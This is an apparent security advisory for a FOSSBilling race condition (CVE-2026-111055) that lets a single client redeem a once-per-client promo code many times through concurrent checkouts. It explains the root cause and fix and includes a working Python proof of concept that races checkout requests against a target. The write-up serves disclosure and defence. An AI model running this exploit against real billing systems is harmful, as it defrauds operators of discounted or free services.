⚠ CVE-2026-111055  ·  MODERATE

Concurrent Checkouts Let One Client Reuse a once-per-client Promo Code Unlimited Times in FOSSBilling

ProductFOSSBilling
Affected>= 0.1.0, <= 0.8.7
Fixed In0.8.9
Reported2026-09-16
Published2026-10-28
GHSAGHSA-qpq2-vvh9-hwfw
CVSS v4.0 Metrics  ·  Severity: MODERATE
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsPresent
Privileges RequiredNone
User InteractionNone
Vuln. IntegrityLow
Vuln. ConfidentialityNone
Vuln. AvailabilityNone
Subseq. ImpactNone
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
CWE-367TOCTOURace ConditionPromo CodesFOSSBilling

Overview

TL;DR
A promo code configured as once_per_client can be redeemed an unlimited number of times by a single client account through concurrent POST /api/client/cart/checkout requests. The eligibility check is a non-atomic COUNT query and the redemption row is written much later with no unique constraint or row lock in between, so parallel checkouts all read zero and all pass before any of them records a use.

FOSSBilling is a free, open-source billing and client-management platform used by hosting providers and SaaS operators. It lets an operator create promotional codes with usage constraints — including once_per_client, meaning each client account may redeem the code at most once. This finding defeats that constraint with a classic time-of-check-to-time-of-use (TOCTOU) race.

It is the per-client sibling of the global-limit race I reported separately. The global maxuses limit was made atomic in 0.8.0 via PromoRepository::incrementUsageIfAvailable(); the per-client check never received the same treatment, and the gap dates back to the initial release.

Root Cause Analysis

A check that reads, then much later writes

Each checkout re-validates the promo in Cart\Service::checkoutCart() via isClientAbleToUsePromo(). For a once_per_client promo the decision comes from a COUNT query in PromoRedemptionRepository::clientHasActiveCheckoutApplication():

PromoRedemptionRepository::clientHasActiveCheckoutApplication()
$count = (int) $this->createQueryBuilder('pr')
    ->select('COUNT(pr.id)')
    ->where('IDENTITY(pr.promo) = :promoId')
    ->andWhere('pr.clientId = :clientId')
    ->andWhere('pr.phase = :phase')
    ->andWhere('pr.status IN (:statuses)')
    ->getQuery()
    ->getSingleScalarResult();

return $count > 0;

The redemption rows are written later in Product\Service::createCheckoutPromoRedemptions() with a plain persist and flush. The table carries only plain indexes; nothing between the check and the insert takes a lock; and the check runs before the checkout transaction even opens. Concurrent checkouts each read a count of zero and all commit.

Why the window is wide
This isn't a microsecond race. The COUNT check happens early in request handling, and the redemption insert happens near the end of a multi-step checkout. The entire checkout body sits inside the check-to-use window, so even modest concurrency (a handful of simultaneous requests) reliably overlaps.

Attack Chain

1
Authenticate as any client
An ordinary client account — no special privilege. Obtain a session token.
2
Apply the once_per_client promo to a cart
Any promo configured as once-per-client (partial discount, or 100%/over-value for free orders).
3
Fire N checkouts simultaneously
POST /api/client/cart/checkout from N threads synchronized to hit the COUNT check together.
4
All N read count = 0 and pass
No lock or unique constraint between check and redemption insert — every request believes the code is unused.
5
One client, many discounted orders
Repeated underpayment with a partial code; with a 100%/over-value code each order totals zero and activates with no invoice.

Proof of Concept

The race is driven with a threading.Barrier so all requests release at the same instant, maximizing overlap of the check-to-use window. The same approach reproduces the sibling global-limit race.

poc_cve-2026-111055.py
#!/usr/bin/env python3
# CVE-2026-111055 — FOSSBilling once_per_client promo race.
# Drives N concurrent checkouts so the non-atomic per-client COUNT check in
# Cart\Service::checkoutCart() passes in all of them before any redemption is written.
# Usage: python3 poc.py https://target client_token ONCE_PER_CLIENT_CODE [N]

import requests, threading, sys

TARGET = sys.argv[1].rstrip("/")
TOKEN  = sys.argv[2]                 # authenticated client session token
PROMO  = sys.argv[3]                 # a once_per_client promo code
N      = int(sys.argv[4]) if len(sys.argv) > 4 else 10

barrier = threading.Barrier(N)
results = []

def checkout():
    s = requests.Session(); s.verify = False
    barrier.wait()                   # release all threads together -> max overlap
    r = s.post(f"{TARGET}/api/client/cart/checkout",
               headers={"Authorization": f"Bearer {TOKEN}"},
               json={"promocode": PROMO})
    results.append(r.status_code)

# (apply the promo to the cart first, then race the checkout)
threads = [threading.Thread(target=checkout) for _ in range(N)]
for t in threads: t.start()
for t in threads: t.join()

ok = results.count(200)
print(f"[*] {N} concurrent checkouts -> {ok} succeeded with the same once_per_client code")
print("[+] RACE CONFIRMED" if ok > 1 else "[-] no overlap this run; retry with higher N")
Responsible use
Developed to confirm impact during responsible disclosure against a local FOSSBilling instance I controlled. Only run against systems you own or are explicitly authorized to test.

Impact

A single client can use a promo meant for one use per client on as many orders as they can check out at once, keeping the discount every time:

Damage stops at free provisioning: promos are discount-only and zero-total orders create no invoice or balance, which is why this is rated Moderate rather than High.

The Fix & Workarounds

The correct fix mirrors the 0.8.0 treatment of the global limit: make the per-client eligibility atomic — a conditional insert / unique constraint on (promo, clientId, phase) or a row lock that closes the check-to-use window — rather than a COUNT that can be read concurrently. Resolved in FOSSBilling 0.8.9 (released 23 October 2026).

Workaround (pre-patch)
There is no complete workaround without patching. Avoid high-value or free-making offers on once_per_client promos, and review each promo's redemption list for repeat use by a single client, disabling any abused code.

Disclosure Timeline

2026-09-16
Reported — Advisory GHSA-qpq2-vvh9-hwfw submitted via the FOSSBilling GitHub Security tab.
2026-09-17
Accepted — maintainer confirmed valid against current main, refined the advisory, and requested a CVE.
2026-10-21
CVE-2026-111055 assigned — issued by the GitHub CNA.
2026-10-23
Fix released — FOSSBilling 0.8.9 published.
2026-10-28
Advisory published — public disclosure after the fix shipped.

References

← Back to CVEs Read the narrative writeup →